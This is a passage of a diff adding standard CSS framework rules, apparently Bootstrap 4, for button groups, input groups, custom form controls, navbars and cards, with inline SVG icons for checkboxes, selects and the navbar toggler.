+  -ms-flex-pack: start;
+  justify-content: flex-start;
+}
+
+.btn-toolbar .input-group {
+  width: auto;
+}
+
+.btn-group > .btn:first-child {
+  margin-left: 0;
+}
+
+.btn-group > .btn:not(:last-child):not(.dropdown-toggle),
+.btn-group > .btn-group:not(:last-child) > .btn {
+  border-top-right-radius: 0;
+  border-bottom-right-radius: 0;
+}
+
+.btn-group > .btn:not(:first-child),
+.btn-group > .btn-group:not(:first-child) > .btn {
+  border-top-left-radius: 0;
+  border-bottom-left-radius: 0;
+}
+
+.dropdown-toggle-split {
+  padding-right: 0.5625rem;
+  padding-left: 0.5625rem;
+}
+
+.dropdown-toggle-split::after,
+.dropup .dropdown-toggle-split::after,
+.dropright .dropdown-toggle-split::after {
+  margin-left: 0;
+}
+
+.dropleft .dropdown-toggle-split::before {
+  margin-right: 0;
+}
+
+.btn-sm + .dropdown-toggle-split, .btn-group-sm > .btn + .dropdown-toggle-split {
+  padding-right: 0.375rem;
+  padding-left: 0.375rem;
+}
+
+.btn-lg + .dropdown-toggle-split, .btn-group-lg > .btn + .dropdown-toggle-split {
+  padding-right: 0.75rem;
+  padding-left: 0.75rem;
+}
+
+.btn-group-vertical {
+  -ms-flex-direction: column;
+  flex-direction: column;
+  -ms-flex-align: start;
+  align-items: flex-start;
+  -ms-flex-pack: center;
+  justify-content: center;
+}
+
+.btn-group-vertical .btn,
+.btn-group-vertical .btn-group {
+  width: 100%;
+}
+
+.btn-group-vertical > .btn + .btn,
+.btn-group-vertical > .btn + .btn-group,
+.btn-group-vertical > .btn-group + .btn,
+.btn-group-vertical > .btn-group + .btn-group {
+  margin-top: -1px;
+  margin-left: 0;
+}
+
+.btn-group-vertical > .btn:not(:last-child):not(.dropdown-toggle),
+.btn-group-vertical > .btn-group:not(:last-child) > .btn {
+  border-bottom-right-radius: 0;
+  border-bottom-left-radius: 0;
+}
+
+.btn-group-vertical > .btn:not(:first-child),
+.btn-group-vertical > .btn-group:not(:first-child) > .btn {
+  border-top-left-radius: 0;
+  border-top-right-radius: 0;
+}
+
+.btn-group-toggle > .btn,
+.btn-group-toggle > .btn-group > .btn {
+  margin-bottom: 0;
+}
+
+.btn-group-toggle > .btn input[type="radio"],
+.btn-group-toggle > .btn input[type="checkbox"],
+.btn-group-toggle > .btn-group > .btn input[type="radio"],
+.btn-group-toggle > .btn-group > .btn input[type="checkbox"] {
+  position: absolute;
+  clip: rect(0, 0, 0, 0);
+  pointer-events: none;
+}
+
+.input-group {
+  position: relative;
+  display: -ms-flexbox;
+  display: flex;
+  -ms-flex-wrap: wrap;
+  flex-wrap: wrap;
+  -ms-flex-align: stretch;
+  align-items: stretch;
+  width: 100%;
+}
+
+.input-group > .form-control,
+.input-group > .custom-select,
+.input-group > .custom-file {
+  position: relative;
+  -ms-flex: 1 1 auto;
+  flex: 1 1 auto;
+  width: 1%;
+  margin-bottom: 0;
+}
+
+.input-group > .form-control:focus,
+.input-group > .custom-select:focus,
+.input-group > .custom-file:focus {
+  z-index: 3;
+}
+
+.input-group > .form-control + .form-control,
+.input-group > .form-control + .custom-select,
+.input-group > .form-control + .custom-file,
+.input-group > .custom-select + .form-control,
+.input-group > .custom-select + .custom-select,
+.input-group > .custom-select + .custom-file,
+.input-group > .custom-file + .form-control,
+.input-group > .custom-file + .custom-select,
+.input-group > .custom-file + .custom-file {
+  margin-left: -1px;
+}
+
+.input-group > .form-control:not(:last-child),
+.input-group > .custom-select:not(:last-child) {
+  border-top-right-radius: 0;
+  border-bottom-right-radius: 0;
+}
+
+.input-group > .form-control:not(:first-child),
+.input-group > .custom-select:not(:first-child) {
+  border-top-left-radius: 0;
+  border-bottom-left-radius: 0;
+}
+
+.input-group > .custom-file {
+  display: -ms-flexbox;
+  display: flex;
+  -ms-flex-align: center;
+  align-items: center;
+}
+
+.input-group > .custom-file:not(:last-child) .custom-file-label,
+.input-group > .custom-file:not(:last-child) .custom-file-label::after {
+  border-top-right-radius: 0;
+  border-bottom-right-radius: 0;
+}
+
+.input-group > .custom-file:not(:first-child) .custom-file-label,
+.input-group > .custom-file:not(:first-child) .custom-file-label::after {
+  border-top-left-radius: 0;
+  border-bottom-left-radius: 0;
+}
+
+.input-group-prepend,
+.input-group-append {
+  display: -ms-flexbox;
+  display: flex;
+}
+
+.input-group-prepend .btn,
+.input-group-append .btn {
+  position: relative;
+  z-index: 2;
+}
+
+.input-group-prepend .btn + .btn,
+.input-group-prepend .btn + .input-group-text,
+.input-group-prepend .input-group-text + .input-group-text,
+.input-group-prepend .input-group-text + .btn,
+.input-group-append .btn + .btn,
+.input-group-append .btn + .input-group-text,
+.input-group-append .input-group-text + .input-group-text,
+.input-group-append .input-group-text + .btn {
+  margin-left: -1px;
+}
+
+.input-group-prepend {
+  margin-right: -1px;
+}
+
+.input-group-append {
+  margin-left: -1px;
+}
+
+.input-group-text {
+  display: -ms-flexbox;
+  display: flex;
+  -ms-flex-align: center;
+  align-items: center;
+  padding: 0.375rem 0.75rem;
+  margin-bottom: 0;
+  font-size: 1rem;
+  font-weight: 400;
+  line-height: 1.5;
+  color: #495057;
+  text-align: center;
+  white-space: nowrap;
+  background-color: #e9ecef;
+  border: 1px solid #ced4da;
+  border-radius: 0.25rem;
+}
+
+.input-group-text input[type="radio"],
+.input-group-text input[type="checkbox"] {
+  margin-top: 0;
+}
+
+.input-group > .input-group-prepend > .btn,
+.input-group > .input-group-prepend > .input-group-text,
+.input-group > .input-group-append:not(:last-child) > .btn,
+.input-group > .input-group-append:not(:last-child) > .input-group-text,
+.input-group > .input-group-append:last-child > .btn:not(:last-child):not(.dropdown-toggle),
+.input-group > .input-group-append:last-child > .input-group-text:not(:last-child) {
+  border-top-right-radius: 0;
+  border-bottom-right-radius: 0;
+}
+
+.input-group > .input-group-append > .btn,
+.input-group > .input-group-append > .input-group-text,
+.input-group > .input-group-prepend:not(:first-child) > .btn,
+.input-group > .input-group-prepend:not(:first-child) > .input-group-text,
+.input-group > .input-group-prepend:first-child > .btn:not(:first-child),
+.input-group > .input-group-prepend:first-child > .input-group-text:not(:first-child) {
+  border-top-left-radius: 0;
+  border-bottom-left-radius: 0;
+}
+
+.custom-control {
+  position: relative;
+  display: block;
+  min-height: 1.5rem;
+  padding-left: 1.5rem;
+}
+
+.custom-control-inline {
+  display: -ms-inline-flexbox;
+  display: inline-flex;
+  margin-right: 1rem;
+}
+
+.custom-control-input {
+  position: absolute;
+  z-index: -1;
+  opacity: 0;
+}
+
+.custom-control-input:checked ~ .custom-control-label::before {
+  color: #fff;
+  background-color: #007bff;
+}
+
+.custom-control-input:focus ~ .custom-control-label::before {
+  box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(0, 123, 255, 0.25);
+}
+
+.custom-control-input:active ~ .custom-control-label::before {
+  color: #fff;
+  background-color: #b3d7ff;
+}
+
+.custom-control-input:disabled ~ .custom-control-label {
+  color: #6c757d;
+}
+
+.custom-control-input:disabled ~ .custom-control-label::before {
+  background-color: #e9ecef;
+}
+
+.custom-control-label {
+  margin-bottom: 0;
+}
+
+.custom-control-label::before {
+  position: absolute;
+  top: 0.25rem;
+  left: 0;
+  display: block;
+  width: 1rem;
+  height: 1rem;
+  pointer-events: none;
+  content: "";
+  -webkit-user-select: none;
+  -moz-user-select: none;
+  -ms-user-select: none;
+  user-select: none;
+  background-color: #dee2e6;
+}
+
+.custom-control-label::after {
+  position: absolute;
+  top: 0.25rem;
+  left: 0;
+  display: block;
+  width: 1rem;
+  height: 1rem;
+  content: "";
+  background-repeat: no-repeat;
+  background-position: center center;
+  background-size: 50% 50%;
+}
+
+.custom-checkbox .custom-control-label::before {
+  border-radius: 0.25rem;
+}
+
+.custom-checkbox .custom-control-input:checked ~ .custom-control-label::before {
+  background-color: #007bff;
+}
+
+.custom-checkbox .custom-control-input:checked ~ .custom-control-label::after {
+  background-image: url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3E%3Cpath fill='%23fff' d='M6.564.75l-3.59 3.612-1.538-1.55L0 4.26 2.974 7.25 8 2.193z'/%3E%3C/svg%3E");
+}
+
+.custom-checkbox .custom-control-input:indeterminate ~ .custom-control-label::before {
+  background-color: #007bff;
+}
+
+.custom-checkbox .custom-control-input:indeterminate ~ .custom-control-label::after {
+  background-image: url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 4'%3E%3Cpath stroke='%23fff' d='M0 2h4'/%3E%3C/svg%3E");
+}
+
+.custom-checkbox .custom-control-input:disabled:checked ~ .custom-control-label::before {
+  background-color: rgba(0, 123, 255, 0.5);
+}
+
+.custom-checkbox .custom-control-input:disabled:indeterminate ~ .custom-control-label::before {
+  background-color: rgba(0, 123, 255, 0.5);
+}
+
+.custom-radio .custom-control-label::before {
+  border-radius: 50%;
+}
+
+.custom-radio .custom-control-input:checked ~ .custom-control-label::before {
+  background-color: #007bff;
+}
+
+.custom-radio .custom-control-input:checked ~ .custom-control-label::after {
+  background-image: url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3E%3Ccircle r='3' fill='%23fff'/%3E%3C/svg%3E");
+}
+
+.custom-radio .custom-control-input:disabled:checked ~ .custom-control-label::before {
+  background-color: rgba(0, 123, 255, 0.5);
+}
+
+.custom-select {
+  display: inline-block;
+  width: 100%;
+  height: calc(2.25rem + 2px);
+  padding: 0.375rem 1.75rem 0.375rem 0.75rem;
+  line-height: 1.5;
+  color: #495057;
+  vertical-align: middle;
+  background: #fff url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3E%3Cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3E%3C/svg%3E") no-repeat right 0.75rem center;
+  background-size: 8px 10px;
+  border: 1px solid #ced4da;
+  border-radius: 0.25rem;
+  -webkit-appearance: none;
+  -moz-appearance: none;
+  appearance: none;
+}
+
+.custom-select:focus {
+  border-color: #80bdff;
+  outline: 0;
+  box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.075), 0 0 5px rgba(128, 189, 255, 0.5);
+}
+
+.custom-select:focus::-ms-value {
+  color: #495057;
+  background-color: #fff;
+}
+
+.custom-select[multiple], .custom-select[size]:not([size="1"]) {
+  height: auto;
+  padding-right: 0.75rem;
+  background-image: none;
+}
+
+.custom-select:disabled {
+  color: #6c757d;
+  background-color: #e9ecef;
+}
+
+.custom-select::-ms-expand {
+  opacity: 0;
+}
+
+.custom-select-sm {
+  height: calc(1.8125rem + 2px);
+  padding-top: 0.375rem;
+  padding-bottom: 0.375rem;
+  font-size: 75%;
+}
+
+.custom-select-lg {
+  height: calc(2.875rem + 2px);
+  padding-top: 0.375rem;
+  padding-bottom: 0.375rem;
+  font-size: 125%;
+}
+
+.custom-file {
+  position: relative;
+  display: inline-block;
+  width: 100%;
+  height: calc(2.25rem + 2px);
+  margin-bottom: 0;
+}
+
+.custom-file-input {
+  position: relative;
+  z-index: 2;
+  width: 100%;
+  height: calc(2.25rem + 2px);
+  margin: 0;
+  opacity: 0;
+}
+
+.custom-file-input:focus ~ .custom-file-label {
+  border-color: #80bdff;
+  box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.25);
+}
+
+.custom-file-input:focus ~ .custom-file-label::after {
+  border-color: #80bdff;
+}
+
+.custom-file-input:lang(en) ~ .custom-file-label::after {
+  content: "Browse";
+}
+
+.custom-file-label {
+  position: absolute;
+  top: 0;
+  right: 0;
+  left: 0;
+  z-index: 1;
+  height: calc(2.25rem + 2px);
+  padding: 0.375rem 0.75rem;
+  line-height: 1.5;
+  color: #495057;
+  background-color: #fff;
+  border: 1px solid #ced4da;
+  border-radius: 0.25rem;
+}
+
+.custom-file-label::after {
+  position: absolute;
+  top: 0;
+  right: 0;
+  bottom: 0;
+  z-index: 3;
+  display: block;
+  height: calc(calc(2.25rem + 2px) - 1px * 2);
+  padding: 0.375rem 0.75rem;
+  line-height: 1.5;
+  color: #495057;
+  content: "Browse";
+  background-color: #e9ecef;
+  border-left: 1px solid #ced4da;
+  border-radius: 0 0.25rem 0.25rem 0;
+}
+
+.custom-range {
+  width: 100%;
+  padding-left: 0;
+  background-color: transparent;
+  -webkit-appearance: none;
+  -moz-appearance: none;
+  appearance: none;
+}
+
+.custom-range:focus {
+  outline: none;
+}
+
+.custom-range::-moz-focus-outer {
+  border: 0;
+}
+
+.custom-range::-webkit-slider-thumb {
+  width: 1rem;
+  height: 1rem;
+  margin-top: -0.25rem;
+  background-color: #007bff;
+  border: 0;
+  border-radius: 1rem;
+  -webkit-appearance: none;
+  appearance: none;
+}
+
+.custom-range::-webkit-slider-thumb:focus {
+  outline: none;
+  box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(0, 123, 255, 0.25);
+}
+
+.custom-range::-webkit-slider-thumb:active {
+  background-color: #b3d7ff;
+}
+
+.custom-range::-webkit-slider-runnable-track {
+  width: 100%;
+  height: 0.5rem;
+  color: transparent;
+  cursor: pointer;
+  background-color: #dee2e6;
+  border-color: transparent;
+  border-radius: 1rem;
+}
+
+.custom-range::-moz-range-thumb {
+  width: 1rem;
+  height: 1rem;
+  background-color: #007bff;
+  border: 0;
+  border-radius: 1rem;
+  -moz-appearance: none;
+  appearance: none;
+}
+
+.custom-range::-moz-range-thumb:focus {
+  outline: none;
+  box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(0, 123, 255, 0.25);
+}
+
+.custom-range::-moz-range-thumb:active {
+  background-color: #b3d7ff;
+}
+
+.custom-range::-moz-range-track {
+  width: 100%;
+  height: 0.5rem;
+  color: transparent;
+  cursor: pointer;
+  background-color: #dee2e6;
+  border-color: transparent;
+  border-radius: 1rem;
+}
+
+.custom-range::-ms-thumb {
+  width: 1rem;
+  height: 1rem;
+  background-color: #007bff;
+  border: 0;
+  border-radius: 1rem;
+  appearance: none;
+}
+
+.custom-range::-ms-thumb:focus {
+  outline: none;
+  box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(0, 123, 255, 0.25);
+}
+
+.custom-range::-ms-thumb:active {
+  background-color: #b3d7ff;
+}
+
+.custom-range::-ms-track {
+  width: 100%;
+  height: 0.5rem;
+  color: transparent;
+  cursor: pointer;
+  background-color: transparent;
+  border-color: transparent;
+  border-width: 0.5rem;
+}
+
+.custom-range::-ms-fill-lower {
+  background-color: #dee2e6;
+  border-radius: 1rem;
+}
+
+.custom-range::-ms-fill-upper {
+  margin-right: 15px;
+  background-color: #dee2e6;
+  border-radius: 1rem;
+}
+
+.nav {
+  display: -ms-flexbox;
+  display: flex;
+  -ms-flex-wrap: wrap;
+  flex-wrap: wrap;
+  padding-left: 0;
+  margin-bottom: 0;
+  list-style: none;
+}
+
+.nav-link {
+  display: block;
+  padding: 0.5rem 1rem;
+}
+
+.nav-link:hover, .nav-link:focus {
+  text-decoration: none;
+}
+
+.nav-link.disabled {
+  color: #6c757d;
+}
+
+.nav-tabs {
+  border-bottom: 1px solid #dee2e6;
+}
+
+.nav-tabs .nav-item {
+  margin-bottom: -1px;
+}
+
+.nav-tabs .nav-link {
+  border: 1px solid transparent;
+  border-top-left-radius: 0.25rem;
+  border-top-right-radius: 0.25rem;
+}
+
+.nav-tabs .nav-link:hover, .nav-tabs .nav-link:focus {
+  border-color: #e9ecef #e9ecef #dee2e6;
+}
+
+.nav-tabs .nav-link.disabled {
+  color: #6c757d;
+  background-color: transparent;
+  border-color: transparent;
+}
+
+.nav-tabs .nav-link.active,
+.nav-tabs .nav-item.show .nav-link {
+  color: #495057;
+  background-color: #fff;
+  border-color: #dee2e6 #dee2e6 #fff;
+}
+
+.nav-tabs .dropdown-menu {
+  margin-top: -1px;
+  border-top-left-radius: 0;
+  border-top-right-radius: 0;
+}
+
+.nav-pills .nav-link {
+  border-radius: 0.25rem;
+}
+
+.nav-pills .nav-link.active,
+.nav-pills .show > .nav-link {
+  color: #fff;
+  background-color: #007bff;
+}
+
+.nav-fill .nav-item {
+  -ms-flex: 1 1 auto;
+  flex: 1 1 auto;
+  text-align: center;
+}
+
+.nav-justified .nav-item {
+  -ms-flex-preferred-size: 0;
+  flex-basis: 0;
+  -ms-flex-positive: 1;
+  flex-grow: 1;
+  text-align: center;
+}
+
+.tab-content > .tab-pane {
+  display: none;
+}
+
+.tab-content > .active {
+  display: block;
+}
+
+.navbar {
+  position: relative;
+  display: -ms-flexbox;
+  display: flex;
+  -ms-flex-wrap: wrap;
+  flex-wrap: wrap;
+  -ms-flex-align: center;
+  align-items: center;
+  -ms-flex-pack: justify;
+  justify-content: space-between;
+  padding: 0.5rem 1rem;
+}
+
+.navbar > .container,
+.navbar > .container-fluid {
+  display: -ms-flexbox;
+  display: flex;
+  -ms-flex-wrap: wrap;
+  flex-wrap: wrap;
+  -ms-flex-align: center;
+  align-items: center;
+  -ms-flex-pack: justify;
+  justify-content: space-between;
+}
+
+.navbar-brand {
+  display: inline-block;
+  padding-top: 0.3125rem;
+  padding-bottom: 0.3125rem;
+  margin-right: 1rem;
+  font-size: 1.25rem;
+  line-height: inherit;
+  white-space: nowrap;
+}
+
+.navbar-brand:hover, .navbar-brand:focus {
+  text-decoration: none;
+}
+
+.navbar-nav {
+  display: -ms-flexbox;
+  display: flex;
+  -ms-flex-direction: column;
+  flex-direction: column;
+  padding-left: 0;
+  margin-bottom: 0;
+  list-style: none;
+}
+
+.navbar-nav .nav-link {
+  padding-right: 0;
+  padding-left: 0;
+}
+
+.navbar-nav .dropdown-menu {
+  position: static;
+  float: none;
+}
+
+.navbar-text {
+  display: inline-block;
+  padding-top: 0.5rem;
+  padding-bottom: 0.5rem;
+}
+
+.navbar-collapse {
+  -ms-flex-preferred-size: 100%;
+  flex-basis: 100%;
+  -ms-flex-positive: 1;
+  flex-grow: 1;
+  -ms-flex-align: center;
+  align-items: center;
+}
+
+.navbar-toggler {
+  padding: 0.25rem 0.75rem;
+  font-size: 1.25rem;
+  line-height: 1;
+  background-color: transparent;
+  border: 1px solid transparent;
+  border-radius: 0.25rem;
+}
+
+.navbar-toggler:hover, .navbar-toggler:focus {
+  text-decoration: none;
+}
+
+.navbar-toggler:not(:disabled):not(.disabled) {
+  cursor: pointer;
+}
+
+.navbar-toggler-icon {
+  display: inline-block;
+  width: 1.5em;
+  height: 1.5em;
+  vertical-align: middle;
+  content: "";
+  background: no-repeat center center;
+  background-size: 100% 100%;
+}
+
+@media (max-width: 575.98px) {
+  .navbar-expand-sm > .container,
+  .navbar-expand-sm > .container-fluid {
+    padding-right: 0;
+    padding-left: 0;
+  }
+}
+
+@media (min-width: 576px) {
+  .navbar-expand-sm {
+    -ms-flex-flow: row nowrap;
+    flex-flow: row nowrap;
+    -ms-flex-pack: start;
+    justify-content: flex-start;
+  }
+  .navbar-expand-sm .navbar-nav {
+    -ms-flex-direction: row;
+    flex-direction: row;
+  }
+  .navbar-expand-sm .navbar-nav .dropdown-menu {
+    position: absolute;
+  }
+  .navbar-expand-sm .navbar-nav .nav-link {
+    padding-right: 0.5rem;
+    padding-left: 0.5rem;
+  }
+  .navbar-expand-sm > .container,
+  .navbar-expand-sm > .container-fluid {
+    -ms-flex-wrap: nowrap;
+    flex-wrap: nowrap;
+  }
+  .navbar-expand-sm .navbar-collapse {
+    display: -ms-flexbox !important;
+    display: flex !important;
+    -ms-flex-preferred-size: auto;
+    flex-basis: auto;
+  }
+  .navbar-expand-sm .navbar-toggler {
+    display: none;
+  }
+}
+
+@media (max-width: 767.98px) {
+  .navbar-expand-md > .container,
+  .navbar-expand-md > .container-fluid {
+    padding-right: 0;
+    padding-left: 0;
+  }
+}
+
+@media (min-width: 768px) {
+  .navbar-expand-md {
+    -ms-flex-flow: row nowrap;
+    flex-flow: row nowrap;
+    -ms-flex-pack: start;
+    justify-content: flex-start;
+  }
+  .navbar-expand-md .navbar-nav {
+    -ms-flex-direction: row;
+    flex-direction: row;
+  }
+  .navbar-expand-md .navbar-nav .dropdown-menu {
+    position: absolute;
+  }
+  .navbar-expand-md .navbar-nav .nav-link {
+    padding-right: 0.5rem;
+    padding-left: 0.5rem;
+  }
+  .navbar-expand-md > .container,
+  .navbar-expand-md > .container-fluid {
+    -ms-flex-wrap: nowrap;
+    flex-wrap: nowrap;
+  }
+  .navbar-expand-md .navbar-collapse {
+    display: -ms-flexbox !important;
+    display: flex !important;
+    -ms-flex-preferred-size: auto;
+    flex-basis: auto;
+  }
+  .navbar-expand-md .navbar-toggler {
+    display: none;
+  }
+}
+
+@media (max-width: 991.98px) {
+  .navbar-expand-lg > .container,
+  .navbar-expand-lg > .container-fluid {
+    padding-right: 0;
+    padding-left: 0;
+  }
+}
+
+@media (min-width: 992px) {
+  .navbar-expand-lg {
+    -ms-flex-flow: row nowrap;
+    flex-flow: row nowrap;
+    -ms-flex-pack: start;
+    justify-content: flex-start;
+  }
+  .navbar-expand-lg .navbar-nav {
+    -ms-flex-direction: row;
+    flex-direction: row;
+  }
+  .navbar-expand-lg .navbar-nav .dropdown-menu {
+    position: absolute;
+  }
+  .navbar-expand-lg .navbar-nav .nav-link {
+    padding-right: 0.5rem;
+    padding-left: 0.5rem;
+  }
+  .navbar-expand-lg > .container,
+  .navbar-expand-lg > .container-fluid {
+    -ms-flex-wrap: nowrap;
+    flex-wrap: nowrap;
+  }
+  .navbar-expand-lg .navbar-collapse {
+    display: -ms-flexbox !important;
+    display: flex !important;
+    -ms-flex-preferred-size: auto;
+    flex-basis: auto;
+  }
+  .navbar-expand-lg .navbar-toggler {
+    display: none;
+  }
+}
+
+@media (max-width: 1199.98px) {
+  .navbar-expand-xl > .container,
+  .navbar-expand-xl > .container-fluid {
+    padding-right: 0;
+    padding-left: 0;
+  }
+}
+
+@media (min-width: 1200px) {
+  .navbar-expand-xl {
+    -ms-flex-flow: row nowrap;
+    flex-flow: row nowrap;
+    -ms-flex-pack: start;
+    justify-content: flex-start;
+  }
+  .navbar-expand-xl .navbar-nav {
+    -ms-flex-direction: row;
+    flex-direction: row;
+  }
+  .navbar-expand-xl .navbar-nav .dropdown-menu {
+    position: absolute;
+  }
+  .navbar-expand-xl .navbar-nav .nav-link {
+    padding-right: 0.5rem;
+    padding-left: 0.5rem;
+  }
+  .navbar-expand-xl > .container,
+  .navbar-expand-xl > .container-fluid {
+    -ms-flex-wrap: nowrap;
+    flex-wrap: nowrap;
+  }
+  .navbar-expand-xl .navbar-collapse {
+    display: -ms-flexbox !important;
+    display: flex !important;
+    -ms-flex-preferred-size: auto;
+    flex-basis: auto;
+  }
+  .navbar-expand-xl .navbar-toggler {
+    display: none;
+  }
+}
+
+.navbar-expand {
+  -ms-flex-flow: row nowrap;
+  flex-flow: row nowrap;
+  -ms-flex-pack: start;
+  justify-content: flex-start;
+}
+
+.navbar-expand > .container,
+.navbar-expand > .container-fluid {
+  padding-right: 0;
+  padding-left: 0;
+}
+
+.navbar-expand .navbar-nav {
+  -ms-flex-direction: row;
+  flex-direction: row;
+}
+
+.navbar-expand .navbar-nav .dropdown-menu {
+  position: absolute;
+}
+
+.navbar-expand .navbar-nav .nav-link {
+  padding-right: 0.5rem;
+  padding-left: 0.5rem;
+}
+
+.navbar-expand > .container,
+.navbar-expand > .container-fluid {
+  -ms-flex-wrap: nowrap;
+  flex-wrap: nowrap;
+}
+
+.navbar-expand .navbar-collapse {
+  display: -ms-flexbox !important;
+  display: flex !important;
+  -ms-flex-preferred-size: auto;
+  flex-basis: auto;
+}
+
+.navbar-expand .navbar-toggler {
+  display: none;
+}
+
+.navbar-light .navbar-brand {
+  color: rgba(0, 0, 0, 0.9);
+}
+
+.navbar-light .navbar-brand:hover, .navbar-light .navbar-brand:focus {
+  color: rgba(0, 0, 0, 0.9);
+}
+
+.navbar-light .navbar-nav .nav-link {
+  color: rgba(0, 0, 0, 0.5);
+}
+
+.navbar-light .navbar-nav .nav-link:hover, .navbar-light .navbar-nav .nav-link:focus {
+  color: rgba(0, 0, 0, 0.7);
+}
+
+.navbar-light .navbar-nav .nav-link.disabled {
+  color: rgba(0, 0, 0, 0.3);
+}
+
+.navbar-light .navbar-nav .show > .nav-link,
+.navbar-light .navbar-nav .active > .nav-link,
+.navbar-light .navbar-nav .nav-link.show,
+.navbar-light .navbar-nav .nav-link.active {
+  color: rgba(0, 0, 0, 0.9);
+}
+
+.navbar-light .navbar-toggler {
+  color: rgba(0, 0, 0, 0.5);
+  border-color: rgba(0, 0, 0, 0.1);
+}
+
+.navbar-light .navbar-toggler-icon {
+  background-image: url("data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='rgba(0, 0, 0, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E");
+}
+
+.navbar-light .navbar-text {
+  color: rgba(0, 0, 0, 0.5);
+}
+
+.navbar-light .navbar-text a {
+  color: rgba(0, 0, 0, 0.9);
+}
+
+.navbar-light .navbar-text a:hover, .navbar-light .navbar-text a:focus {
+  color: rgba(0, 0, 0, 0.9);
+}
+
+.navbar-dark .navbar-brand {
+  color: #fff;
+}
+
+.navbar-dark .navbar-brand:hover, .navbar-dark .navbar-brand:focus {
+  color: #fff;
+}
+
+.navbar-dark .navbar-nav .nav-link {
+  color: rgba(255, 255, 255, 0.5);
+}
+
+.navbar-dark .navbar-nav .nav-link:hover, .navbar-dark .navbar-nav .nav-link:focus {
+  color: rgba(255, 255, 255, 0.75);
+}
+
+.navbar-dark .navbar-nav .nav-link.disabled {
+  color: rgba(255, 255, 255, 0.25);
+}
+
+.navbar-dark .navbar-nav .show > .nav-link,
+.navbar-dark .navbar-nav .active > .nav-link,
+.navbar-dark .navbar-nav .nav-link.show,
+.navbar-dark .navbar-nav .nav-link.active {
+  color: #fff;
+}
+
+.navbar-dark .navbar-toggler {
+  color: rgba(255, 255, 255, 0.5);
+  border-color: rgba(255, 255, 255, 0.1);
+}
+
+.navbar-dark .navbar-toggler-icon {
+  background-image: url("data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='rgba(255, 255, 255, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E");
+}
+
+.navbar-dark .navbar-text {
+  color: rgba(255, 255, 255, 0.5);
+}
+
+.navbar-dark .navbar-text a {
+  color: #fff;
+}
+
+.navbar-dark .navbar-text a:hover, .navbar-dark .navbar-text a:focus {
+  color: #fff;
+}
+
+.card {
+  position: relative;
+  display: -ms-flexbox;
+  display: flex;
+  -ms-flex-direction: column;
+  flex-direction: column;
+  min-width: 0;
+  word-wrap: break-word;
+  background-color: #fff;
+  background-clip: border-box;
+  border: 1px solid rgba(0, 0, 0, 0.125);
+  border-radius: 0.25rem;
+}
+
+.card > hr {
+  margin-right: 0;
+  margin-left: 0;
+}
+
+.card > .list-group:first-child .list-group-item:first-child {
+  border-top-left-radius: 0.25rem;
+  border-top-right-radius: 0.25rem;
+}
+
+.card > .list-group:last-child .list-group-item:last-child {
+  border-bottom-right-radius: 0.25rem;
+  border-bottom-left-radius: 0.25rem;
+}
+
+.card-body {
+  -ms-flex: 1 1 auto;
+  flex: 1 1 auto;
+  padding: 1.25rem;
+}
+
+.card-title {
+  margin-bottom: 0.75rem;
+}
+
+.card-subtitle {
+  margin-top: -0.375rem;
+  margin-bottom: 0;
+}
+
+.card-text:last-child {
+  margin-bottom: 0;
+}
+
+.card-link:hover {
+  text-decoration: none;
+}
+
+.card-link + .card-link {
+  margin-left: 1.25rem;
+}
+
+.card-header {
+  padding: 0.75rem 1.25rem;
+  margin-bottom: 0;
+  background-color: rgba(0, 0, 0, 0.03);
+  border-bottom: 1px solid rgba(0, 0, 0, 0.125);
+}
+
+.card-header:first-child {
+  border-radius: calc(0.25rem - 1px) calc(0.25rem - 1px) 0 0;
+}
+
+.card-header + .list-group .list-group-item:first-child {
+  border-top: 0;
+}
+
+.card-footer {
+  padding: 0.75rem 1.25rem;
+  background-color: rgba(0, 0, 0, 0.03);
+  border-top: 1px solid rgba(0, 0, 0, 0.125);
+}
+
+.card-footer:last-child {
+  border-radius: 0 0 calc(0.25rem - 1px) calc(0.25rem - 1px);
+}
+
+.card-header-tabs {
+  margin-right: -0.625rem;
+  margin-bottom: -0.75rem;
+  margin-left: -0.625rem;
+  border-bottom: 0;
+}
+
+.card-header-pills {
+  margin-right: -0.625rem;
+  margin-left: -0.625rem;
+}
+
+.card-img-overlay {
+  position: absolute;
+  top: 0;
+  right: 0;
+  bottom: 0;
+  left: 0;
+  padding: 1.25rem;
+}
+
+.card-img {
+  width: 100%;
+  border-radius: calc(0.25rem - 1px);
+}
+
+.card-img-top {
+  width: 100%;
+  border-top-left-radius: calc(0.25rem - 1px);
+  border-top-right-radius: calc(0.25rem - 1px);
+}
+
+.card-img-bottom {
+  width: 100%;
+  border-bottom-right-radius: calc(0.25rem - 1px);
+  border-bottom-left-radius: calc(0.25rem - 1px);
+}
+
+.card-deck {
+  display: -ms-flexbox;
+  display: flex;
+  -ms-flex-direction: column;
+  flex-direction: column;
+}
+
+.card-deck .card {
+  margin-bottom: 15px;
+}
+
+@media (min-width: 576px) {
+  .card-deck {
+    -ms-flex-flow: row wrap;
+    flex-flow: row wrap;
+    margin-right: -15px;
+    margin-left: -15px;
+  }
+  .card-deck .card {
+    display: -ms-flexbox;
+    display: flex;
+    -ms-flex: 1 0 0%;
+    flex: 1 0 0%;
+    -ms-flex-direction: column;
+    flex-direction: column;
+    margin-right: 15px;
